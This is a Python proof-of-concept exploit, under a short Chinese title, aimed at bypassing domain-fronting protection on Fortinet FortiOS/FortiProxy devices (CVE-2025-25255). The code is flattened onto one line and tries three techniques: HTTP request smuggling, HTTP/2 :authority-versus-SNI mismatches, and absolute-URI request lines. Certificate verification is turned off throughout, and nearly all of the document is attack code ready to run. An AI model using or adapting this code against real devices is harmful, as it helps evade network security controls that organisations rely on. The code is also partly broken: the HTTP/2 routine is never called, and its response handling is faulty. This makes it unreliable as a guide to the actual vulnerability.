CVE-2025-25255 Fortinet FortiOS/FortiProxy域前置保护绕过漏洞

# CVE-2025-25255 PoC - Fortinet FortiOS/FortiProxy Domain Fronting Protection Bypass # This PoC demonstrates how to bypass domain fronting protection via crafted HTTP requests import ssl import socket import http.client TARGET_HOST = "fortigate.example.com" # FortiOS/FortiProxy device TARGET_PORT = 443 FRONT_DOMAIN = "allowed-cdn.example.com" # Legitimate CDN domain (SNI) BACK_DOMAIN = "blocked-site.example.com" # Blocked destination (Host header) def exploit_request_smuggling(): """ Exploit via HTTP Request Smuggling to bypass domain fronting check. Uses CL-TE inconsistency to smuggle a request with a different Host header. """ # Craft a smuggled HTTP request smuggled_request = ( f"POST http://{BACK_DOMAIN}/ HTTP/1.1\r\n" f"Host: {BACK_DOMAIN}\r\n" f"Content-Length: 0\r\n" f"\r\n" ) # Front-end request with legitimate domain front_request = ( f"POST http://{FRONT_DOMAIN}/ HTTP/1.1\r\n" f"Host: {FRONT_DOMAIN}\r\n" f"Content-Length: {len(smuggled_request)}\r\n" f"Transfer-Encoding: chunked\r\n" f"\r\n" f"0\r\n" f"\r\n" f"{smuggled_request}" ) # Establish TLS connection with front domain as SNI context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE with socket.create_connection((TARGET_HOST, TARGET_PORT)) as sock: with context.wrap_socket(sock, server_hostname=FRONT_DOMAIN) as ssock: ssock.send(front_request.encode()) response = ssock.recv(4096) print(f"[*] Response:\n{response.decode(errors='replace')}") def exploit_http2_pseudo_headers(): """ Exploit via HTTP/2 pseudo-header manipulation to bypass domain fronting check. Uses :authority pseudo-header mismatch with SNI. """ import h2.connection import h2.events import h2.config config = h2.config.H2Configuration(client_side=True) conn = h2.connection.H2Connection(config=config) conn.initiate_connection() # Send headers with mismatched :authority and SNI headers = [ (':method', 'GET'), (':path', '/'), (':authority', BACK_DOMAIN), # Real target in :authority (':scheme', 'https'), ('host', FRONT_DOMAIN), # Legitimate domain in host header ] conn.send_headers(1, headers) # Establish TLS with front domain context = ssl.create_default_context() context.set_alpn_protocols(['h2']) context.check_hostname = False context.verify_mode = ssl.CERT_NONE with socket.create_connection((TARGET_HOST, TARGET_PORT)) as sock: with context.wrap_socket(sock, server_hostname=FRONT_DOMAIN) as ssock: ssock.sendall(conn.data_to_send()) response_data = b"" while True: data = ssock.recv(65535) if not data: break response_data += data conn.receive_data(data) events = conn.receive_data(response_data) for event in events: if isinstance(event, h2.events.ResponseReceived): print(f"[*] Got response headers: {event.headers}") def exploit_absolute_uri(): """ Exploit via HTTP/1.1 absolute URI in request line to bypass domain fronting. The proxy may only check the Host header but not the absolute URI. """ request = ( f"GET http://{BACK_DOMAIN}/secret-resource HTTP/1.1\r\n" f"Host: {FRONT_DOMAIN}\r\n" f"User-Agent: Mozilla/5.0\r\n" f"Accept: */*\r\n" f"Connection: close\r\n" f"\r\n" ) context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE with socket.create_connection((TARGET_HOST, TARGET_PORT)) as sock: with context.wrap_socket(sock, server_hostname=FRONT_DOMAIN) as ssock: ssock.send(request.encode()) response = ssock.recv(4096) print(f"[*] Response:\n{response.decode(errors='replace')}") if __name__ == "__main__": print("[*] CVE-2025-25255 PoC - Domain Fronting Protection Bypass") print("[*] Attempting HTTP Request Smuggling exploit...") try: exploit_request_smuggling() except Exception as e: print(f"[-] Request smuggling failed: {e}") print("\n[*] Attempting Absolute URI exploit...") try: exploit_absolute_uri() except Exception as e: print(f"[-] Absolute URI exploit failed: {e}")